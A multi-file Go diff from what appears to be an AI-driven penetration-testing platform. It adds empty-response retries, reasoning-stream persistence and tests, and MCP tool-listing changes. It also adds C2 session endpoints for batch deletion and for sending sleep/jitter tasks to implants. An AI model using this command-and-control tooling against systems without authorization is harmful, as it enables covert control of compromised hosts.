conversationID, h.conversationProjectID(conversationID), curMsg, curHist, roleTools, progressCallback,
|
||||||
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
|
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
|
||||||
)
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
errMA = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
if errMA == nil {
|
if errMA == nil {
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||||
@@ -1159,6 +1185,8 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
flushResponsePlan()
|
flushResponsePlan()
|
||||||
|
// 助手正文开始前,推理流通常已结束;落库以便刷新后「渗透测试详情」可回放
|
||||||
|
flushThinkingStreams()
|
||||||
respPlan.meta = nil
|
respPlan.meta = nil
|
||||||
if dataMap, ok := data.(map[string]interface{}); ok {
|
if dataMap, ok := data.(map[string]interface{}); ok {
|
||||||
respPlan.meta = make(map[string]interface{}, len(dataMap))
|
respPlan.meta = make(map[string]interface{}, len(dataMap))
|
||||||
@@ -1194,6 +1222,19 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
|
|||||||
}
|
}
|
||||||
if eventType == "response" {
|
if eventType == "response" {
|
||||||
flushResponsePlan()
|
flushResponsePlan()
|
||||||
|
flushThinkingStreams()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if eventType == "done" {
|
||||||
|
flushResponsePlan()
|
||||||
|
flushThinkingStreams()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 流式思考/推理结束:聚合落库(与 eino_agent_reply_stream_end 同理)
|
||||||
|
if eventType == "thinking_stream_end" || eventType == "reasoning_chain_stream_end" {
|
||||||
|
flushResponsePlan()
|
||||||
|
flushThinkingStreams()
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2192,12 +2233,12 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
|
|||||||
var runErr error
|
var runErr error
|
||||||
switch {
|
switch {
|
||||||
case useBatchMulti:
|
case useBatchMulti:
|
||||||
resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
|
resultMA, runErr = multiagent.RunDeepAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir, batchOrch, nil, h.projectBlackboardBlock(conversationID))
|
||||||
default:
|
default:
|
||||||
if h.config == nil {
|
if h.config == nil {
|
||||||
runErr = fmt.Errorf("服务器配置未加载")
|
runErr = fmt.Errorf("服务器配置未加载")
|
||||||
} else {
|
} else {
|
||||||
resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
|
resultMA, runErr = multiagent.RunEinoSingleChatModelAgent(taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, h.conversationProjectID(conversationID), finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,10 +3,14 @@ package handler
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
"sync"
|
"sync"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/openai"
|
||||||
|
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
@@ -46,3 +50,50 @@ func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
|
|||||||
}
|
}
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestCreateProgressCallback_FlushesReasoningOnDone 流式推理聚合须在 done/response 时落库,刷新后可回放。
|
||||||
|
func TestCreateProgressCallback_FlushesReasoningOnDone(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
db, err := database.NewDB(filepath.Join(tmp, "test.sqlite"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer os.RemoveAll(tmp)
|
||||||
|
|
||||||
|
conv, err := db.CreateConversation("test", database.ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation: %v", err)
|
||||||
|
}
|
||||||
|
asst, err := db.AddMessage(conv.ID, "assistant", "处理中...", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("AddMessage: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
h := &AgentHandler{logger: zap.NewNop(), db: db}
|
||||||
|
cb := h.createProgressCallback(context.Background(), nil, conv.ID, asst.ID, nil)
|
||||||
|
|
||||||
|
streamID := "eino-reasoning-test-1"
|
||||||
|
cb("reasoning_chain_stream_start", " ", map[string]interface{}{
|
||||||
|
"streamId": streamID,
|
||||||
|
"source": "eino",
|
||||||
|
})
|
||||||
|
cb("reasoning_chain_stream_delta", "step one", openai.WithSSEAccumulated(map[string]interface{}{
|
||||||
|
"streamId": streamID,
|
||||||
|
}, "step one"))
|
||||||
|
cb("done", "", map[string]interface{}{"conversationId": conv.ID})
|
||||||
|
|
||||||
|
details, err := db.GetProcessDetails(asst.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetProcessDetails: %v", err)
|
||||||
|
}
|
||||||
|
found := false
|
||||||
|
for _, d := range details {
|
||||||
|
if d.EventType == "reasoning_chain" && d.Message == "step one" {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("expected reasoning_chain persisted on done, got %+v", details)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package handler
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"strconv"
|
"strconv"
|
||||||
"time"
|
|
||||||
|
|
||||||
"cyberstrike-ai/internal/database"
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
@@ -20,12 +19,12 @@ func auditFilterFromQuery(c *gin.Context) database.ListAuditLogsFilter {
|
|||||||
ResourceID: c.Query("resource_id"),
|
ResourceID: c.Query("resource_id"),
|
||||||
}
|
}
|
||||||
if since := c.Query("since"); since != "" {
|
if since := c.Query("since"); since != "" {
|
||||||
if t, err := time.Parse(time.RFC3339, since); err == nil {
|
if t, err := database.ParseRFC3339Time(since); err == nil {
|
||||||
filter.Since = &t
|
filter.Since = &t
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if until := c.Query("until"); until != "" {
|
if until := c.Query("until"); until != "" {
|
||||||
if t, err := time.Parse(time.RFC3339, until); err == nil {
|
if t, err := database.ParseRFC3339Time(until); err == nil {
|
||||||
filter.Until = &t
|
filter.Until = &t
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+58
-3
@@ -1,6 +1,7 @@
|
|||||||
package handler
|
package handler
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"database/sql"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
@@ -277,6 +278,9 @@ func (h *C2Handler) ListSessions(c *gin.Context) {
|
|||||||
filter.Limit = n
|
filter.Limit = n
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if c.Query("suspicious") == "1" || strings.EqualFold(c.Query("suspicious"), "true") {
|
||||||
|
filter.Suspicious = true
|
||||||
|
}
|
||||||
|
|
||||||
sessions, err := h.mgr().DB().ListC2Sessions(filter)
|
sessions, err := h.mgr().DB().ListC2Sessions(filter)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -324,7 +328,37 @@ func (h *C2Handler) DeleteSession(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, gin.H{"deleted": true})
|
c.JSON(http.StatusOK, gin.H{"deleted": true})
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetSessionSleep 设置会话的 sleep/jitter
|
// DeleteSessions 批量删除会话(请求体 JSON: {"ids":["s_xxx",...]})
|
||||||
|
func (h *C2Handler) DeleteSessions(c *gin.Context) {
|
||||||
|
var req struct {
|
||||||
|
IDs []string `json:"ids"`
|
||||||
|
}
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(req.IDs) == 0 {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
n, err := h.mgr().DB().DeleteC2SessionsByIDs(req.IDs)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, database.ErrNoValidC2SessionIDs) {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if h.audit != nil {
|
||||||
|
h.audit.RecordOK(c, "c2", "session_delete", "批量删除 C2 会话", "c2_session", "", map[string]interface{}{
|
||||||
|
"count": n, "ids": req.IDs,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, gin.H{"deleted": n})
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetSessionSleep 设置会话的 sleep/jitter,并下发 sleep 任务到植入体
|
||||||
func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
||||||
id := c.Param("id")
|
id := c.Param("id")
|
||||||
var req struct {
|
var req struct {
|
||||||
@@ -335,12 +369,33 @@ func (h *C2Handler) SetSessionSleep(c *gin.Context) {
|
|||||||
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if req.SleepSeconds < 1 {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "sleep_seconds must be >= 1"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if req.JitterPercent < 0 || req.JitterPercent > 100 {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "jitter_percent must be 0-100"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
if err := h.mgr().DB().SetC2SessionSleep(id, req.SleepSeconds, req.JitterPercent); err != nil {
|
task, err := h.mgr().SetSessionSleep(id, req.SleepSeconds, req.JitterPercent)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, sql.ErrNoRows) {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "session not found"})
|
||||||
|
return
|
||||||
|
}
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
c.JSON(http.StatusOK, gin.H{"updated": true})
|
out := gin.H{
|
||||||
|
"updated": true,
|
||||||
|
"sleep_seconds": req.SleepSeconds,
|
||||||
|
"jitter_percent": req.JitterPercent,
|
||||||
|
}
|
||||||
|
if task != nil {
|
||||||
|
out["task_id"] = task.ID
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, out)
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|||||||
+182
-71
@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取外部MCP工具
|
// 获取外部MCP工具(走缓存,持锁期间通常不阻塞)
|
||||||
if h.externalMCPMgr != nil {
|
if h.externalMCPMgr != nil {
|
||||||
ctx := context.Background()
|
ctx := context.Background()
|
||||||
externalTools := h.getExternalMCPTools(ctx)
|
externalTools := h.getExternalMCPTools(ctx)
|
||||||
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
|
|||||||
|
|
||||||
// GetTools 获取工具列表(支持分页和搜索)
|
// GetTools 获取工具列表(支持分页和搜索)
|
||||||
func (h *ConfigHandler) GetTools(c *gin.Context) {
|
func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||||
h.mu.RLock()
|
|
||||||
defer h.mu.RUnlock()
|
|
||||||
|
|
||||||
c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
|
c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||||
|
|
||||||
// 解析分页参数
|
// 解析分页参数
|
||||||
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
includeExternal := true
|
||||||
|
if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
|
||||||
|
includeExternal = false
|
||||||
|
}
|
||||||
|
refreshExternal := false
|
||||||
|
if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
|
||||||
|
refreshExternal = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 按外部 MCP 名称筛选(MCP 管理页左侧卡片 → 右侧工具列表联动)
|
||||||
|
externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
|
||||||
|
|
||||||
|
// 快照配置后立即释放锁,避免外部 MCP 网络 IO 阻塞整个配置子系统
|
||||||
|
h.mu.RLock()
|
||||||
|
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||||
|
roles := h.config.Roles
|
||||||
|
toolDescriptionMode := h.config.Security.ToolDescriptionMode
|
||||||
|
mcpServer := h.mcpServer
|
||||||
|
externalMCPMgr := h.externalMCPMgr
|
||||||
|
h.mu.RUnlock()
|
||||||
|
|
||||||
|
pickDesc := func(shortDesc, fullDesc string) string {
|
||||||
|
return pickToolDescriptionWithMode(toolDescriptionMode, shortDesc, fullDesc)
|
||||||
|
}
|
||||||
|
|
||||||
// 解析角色参数,用于过滤工具并标注启用状态
|
// 解析角色参数,用于过滤工具并标注启用状态
|
||||||
roleName := c.Query("role")
|
roleName := c.Query("role")
|
||||||
var roleToolsSet map[string]bool // 角色配置的工具集合
|
var roleToolsSet map[string]bool // 角色配置的工具集合
|
||||||
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
|
var roleUsesAllTools bool = true // 角色是否使用所有工具(默认角色)
|
||||||
if roleName != "" && roleName != "默认" && h.config.Roles != nil {
|
if roleName != "" && roleName != "默认" && roles != nil {
|
||||||
if role, exists := h.config.Roles[roleName]; exists && role.Enabled {
|
if role, exists := roles[roleName]; exists && role.Enabled {
|
||||||
if len(role.Tools) > 0 {
|
if len(role.Tools) > 0 {
|
||||||
// 角色配置了工具列表,只使用这些工具
|
// 角色配置了工具列表,只使用这些工具
|
||||||
roleToolsSet = make(map[string]bool)
|
roleToolsSet = make(map[string]bool)
|
||||||
@@ -426,12 +448,12 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
|
|
||||||
// 获取所有内部工具并应用搜索过滤
|
// 获取所有内部工具并应用搜索过滤
|
||||||
configToolMap := make(map[string]bool)
|
configToolMap := make(map[string]bool)
|
||||||
allTools := make([]ToolConfigInfo, 0, len(h.config.Security.Tools))
|
allTools := make([]ToolConfigInfo, 0, len(securityTools))
|
||||||
for _, tool := range h.config.Security.Tools {
|
for _, tool := range securityTools {
|
||||||
configToolMap[tool.Name] = true
|
configToolMap[tool.Name] = true
|
||||||
toolInfo := ToolConfigInfo{
|
toolInfo := ToolConfigInfo{
|
||||||
Name: tool.Name,
|
Name: tool.Name,
|
||||||
Description: h.pickToolDescription(tool.ShortDescription, tool.Description),
|
Description: pickDesc(tool.ShortDescription, tool.Description),
|
||||||
Enabled: tool.Enabled,
|
Enabled: tool.Enabled,
|
||||||
IsExternal: false,
|
IsExternal: false,
|
||||||
}
|
}
|
||||||
@@ -479,15 +501,15 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
|
// 从MCP服务器获取所有已注册的工具(包括直接注册的工具,如知识检索工具)
|
||||||
if h.mcpServer != nil {
|
if mcpServer != nil {
|
||||||
mcpTools := h.mcpServer.GetAllTools()
|
mcpTools := mcpServer.GetAllTools()
|
||||||
for _, mcpTool := range mcpTools {
|
for _, mcpTool := range mcpTools {
|
||||||
// 跳过已经在配置文件中的工具(避免重复)
|
// 跳过已经在配置文件中的工具(避免重复)
|
||||||
if configToolMap[mcpTool.Name] {
|
if configToolMap[mcpTool.Name] {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
description := h.pickToolDescription(mcpTool.ShortDescription, mcpTool.Description)
|
description := pickDesc(mcpTool.ShortDescription, mcpTool.Description)
|
||||||
|
|
||||||
toolInfo := ToolConfigInfo{
|
toolInfo := ToolConfigInfo{
|
||||||
Name: mcpTool.Name,
|
Name: mcpTool.Name,
|
||||||
@@ -534,11 +556,13 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取外部MCP工具
|
// 获取外部MCP工具(可走缓存,不持有 config 锁)
|
||||||
if h.externalMCPMgr != nil {
|
if includeExternal && externalMCPMgr != nil {
|
||||||
// 创建context用于获取外部工具
|
if refreshExternal {
|
||||||
|
externalMCPMgr.InvalidateAllToolCaches()
|
||||||
|
}
|
||||||
ctx := context.Background()
|
ctx := context.Background()
|
||||||
externalTools := h.getExternalMCPTools(ctx)
|
externalTools := h.getExternalMCPToolsWithManager(ctx, externalMCPMgr, pickDesc)
|
||||||
|
|
||||||
// 应用搜索过滤和角色配置
|
// 应用搜索过滤和角色配置
|
||||||
for _, toolInfo := range externalTools {
|
for _, toolInfo := range externalTools {
|
||||||
@@ -585,6 +609,16 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
|||||||
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
|
// 注意:这里我们不直接过滤掉工具,而是保留所有工具,但通过 role_enabled 字段标注状态
|
||||||
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
|
// 这样前端可以显示所有工具,并标注哪些工具在当前角色中可用
|
||||||
|
|
||||||
|
if externalMCPFilter != "" {
|
||||||
|
filtered := make([]ToolConfigInfo, 0)
|
||||||
|
for _, tool := range allTools {
|
||||||
|
if tool.IsExternal && tool.ExternalMCP == externalMCPFilter {
|
||||||
|
filtered = append(filtered, tool)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
allTools = filtered
|
||||||
|
}
|
||||||
|
|
||||||
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
|
// 统一按名称排序后再分页,避免配置文件中顺序导致「全部」与「仅已启用」前几页看起来完全一致
|
||||||
sort.SliceStable(allTools, func(i, j int) bool {
|
sort.SliceStable(allTools, func(i, j int) bool {
|
||||||
key := func(t ToolConfigInfo) string {
|
key := func(t ToolConfigInfo) string {
|
||||||
@@ -654,11 +688,9 @@ type UpdateConfigRequest struct {
|
|||||||
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
|
// AgentConfigUpdate 用于 PATCH /api/config 的 agent 段:仅 JSON 中出现的字段(指针非 nil)覆盖内存配置。
|
||||||
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
|
// 避免旧版「整包替换 *AgentConfig」时,未传的整型字段被反序列化为 0 误覆盖(例如 tool_timeout_minutes 变成 0)。
|
||||||
type AgentConfigUpdate struct {
|
type AgentConfigUpdate struct {
|
||||||
MaxIterations *int `json:"max_iterations,omitempty"`
|
MaxIterations *int `json:"max_iterations,omitempty"`
|
||||||
LargeResultThreshold *int `json:"large_result_threshold,omitempty"`
|
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
|
||||||
ResultStorageDir *string `json:"result_storage_dir,omitempty"`
|
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
|
||||||
ToolTimeoutMinutes *int `json:"tool_timeout_minutes,omitempty"`
|
|
||||||
SystemPromptPath *string `json:"system_prompt_path,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
||||||
@@ -668,12 +700,6 @@ func applyAgentConfigUpdate(dst *config.AgentConfig, src *AgentConfigUpdate) {
|
|||||||
if src.MaxIterations != nil {
|
if src.MaxIterations != nil {
|
||||||
dst.MaxIterations = *src.MaxIterations
|
dst.MaxIterations = *src.MaxIterations
|
||||||
}
|
}
|
||||||
if src.LargeResultThreshold != nil {
|
|
||||||
dst.LargeResultThreshold = *src.LargeResultThreshold
|
|
||||||
}
|
|
||||||
if src.ResultStorageDir != nil {
|
|
||||||
dst.ResultStorageDir = *src.ResultStorageDir
|
|
||||||
}
|
|
||||||
if src.ToolTimeoutMinutes != nil {
|
if src.ToolTimeoutMinutes != nil {
|
||||||
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
|
dst.ToolTimeoutMinutes = *src.ToolTimeoutMinutes
|
||||||
}
|
}
|
||||||
@@ -1042,6 +1068,80 @@ func (h *ConfigHandler) TestOpenAI(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ListModelsRequest 获取模型列表请求(OpenAI 兼容 GET /models)。
|
||||||
|
type ListModelsRequest struct {
|
||||||
|
Provider string `json:"provider"`
|
||||||
|
BaseURL string `json:"base_url"`
|
||||||
|
APIKey string `json:"api_key"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListModels 代理调用上游 GET /models,返回可用模型 id 列表。
|
||||||
|
func (h *ConfigHandler) ListModels(c *gin.Context) {
|
||||||
|
var req ListModelsRequest
|
||||||
|
if err := c.ShouldBindJSON(&req); err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
provider := strings.TrimSpace(req.Provider)
|
||||||
|
if provider == "" {
|
||||||
|
provider = "openai"
|
||||||
|
}
|
||||||
|
if strings.EqualFold(provider, "claude") {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"supported": false,
|
||||||
|
"error": "Claude (Anthropic Messages API) 不支持自动获取模型列表,请手动填写",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if strings.TrimSpace(req.APIKey) == "" {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "API Key 不能为空"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
baseURL := strings.TrimSuffix(strings.TrimSpace(req.BaseURL), "/")
|
||||||
|
if baseURL == "" {
|
||||||
|
baseURL = "https://api.openai.com/v1"
|
||||||
|
}
|
||||||
|
|
||||||
|
tmpCfg := &config.OpenAIConfig{
|
||||||
|
Provider: provider,
|
||||||
|
BaseURL: baseURL,
|
||||||
|
APIKey: strings.TrimSpace(req.APIKey),
|
||||||
|
}
|
||||||
|
client := openai.NewClient(tmpCfg, nil, h.logger)
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
models, err := client.ListModels(ctx)
|
||||||
|
if err != nil {
|
||||||
|
if apiErr, ok := err.(*openai.APIError); ok {
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"supported": true,
|
||||||
|
"error": fmt.Sprintf("API 返回错误 (HTTP %d): %s", apiErr.StatusCode, apiErr.Body),
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"supported": true,
|
||||||
|
"error": err.Error(),
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"supported": true,
|
||||||
|
"models": models,
|
||||||
|
"count": len(models),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// TestVisionRequest 测试 Vision 模型连接;vision.api_key/base_url 留空时可传 openai 段作回退。
|
// TestVisionRequest 测试 Vision 模型连接;vision.api_key/base_url 留空时可传 openai 段作回退。
|
||||||
type TestVisionRequest struct {
|
type TestVisionRequest struct {
|
||||||
Vision config.VisionConfig `json:"vision"`
|
Vision config.VisionConfig `json:"vision"`
|
||||||
@@ -1498,8 +1598,6 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
|
|||||||
agentNode := ensureMap(root, "agent")
|
agentNode := ensureMap(root, "agent")
|
||||||
setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
|
setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
|
||||||
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
|
setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
|
||||||
setIntInMap(agentNode, "large_result_threshold", agent.LargeResultThreshold)
|
|
||||||
setStringInMap(agentNode, "result_storage_dir", agent.ResultStorageDir)
|
|
||||||
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
|
setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1906,50 +2004,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// getExternalMCPTools 获取外部MCP工具列表(公共方法)
|
// getExternalMCPTools 获取外部MCP工具列表(公共方法)
|
||||||
// 返回 ToolConfigInfo 列表,已处理启用状态和描述信息
|
|
||||||
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
|
func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
|
||||||
var result []ToolConfigInfo
|
|
||||||
|
|
||||||
if h.externalMCPMgr == nil {
|
if h.externalMCPMgr == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
|
||||||
|
}
|
||||||
|
|
||||||
|
// getExternalMCPToolsWithManager 获取外部 MCP 工具(不持有 config 锁,供 GetTools 等热路径使用)
|
||||||
|
func (h *ConfigHandler) getExternalMCPToolsWithManager(
|
||||||
|
ctx context.Context,
|
||||||
|
mgr *mcp.ExternalMCPManager,
|
||||||
|
pickDesc func(shortDesc, fullDesc string) string,
|
||||||
|
) []ToolConfigInfo {
|
||||||
|
var result []ToolConfigInfo
|
||||||
|
if mgr == nil {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用较短的超时时间(5秒)进行快速失败,避免阻塞页面加载
|
|
||||||
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
|
timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
|
externalTools, err := mgr.GetAllTools(timeoutCtx)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// 记录警告但不阻塞,继续返回已缓存的工具(如果有)
|
|
||||||
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
|
h.logger.Warn("获取外部MCP工具失败(可能连接断开),尝试返回缓存的工具",
|
||||||
zap.Error(err),
|
zap.Error(err),
|
||||||
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
|
zap.String("hint", "如果外部MCP工具未显示,请检查连接状态或点击刷新按钮"),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 如果获取到了工具(即使有错误),继续处理
|
|
||||||
if len(externalTools) == 0 {
|
if len(externalTools) == 0 {
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
